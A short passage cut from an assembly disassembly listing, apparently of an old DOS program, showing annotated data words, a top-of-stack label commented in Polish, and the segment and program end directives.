156Ch ;97C3 6C 15 dw 0C89h ;97C5 89 0C dw 012Fh ;97C7 2F 01 dw 7F04h ;97C9 04 7F dw 0075h ;97CB 75 00 dw 065Eh ;97CD 5E 06 dw 5A1Dh ;97CF 1D 5A dw 0 ;97D1 00 00 dw 9301h ;97D3 01 93 dw 0BA6h ;97D5 A6 0B dw 0213h ;97D7 13 02 dw 0C89h ;97D9 89 0C dw 0F202h ;97DB 02 F2 L065D dw 2700h ;szczyt stosu ;97DD 00 27 L065F DB 0C8H,0F7h,0E1h,0EEh,0E7h ;97DF C8 F7 E1 EE E7 L0664 label byte S9180 ENDS END L9244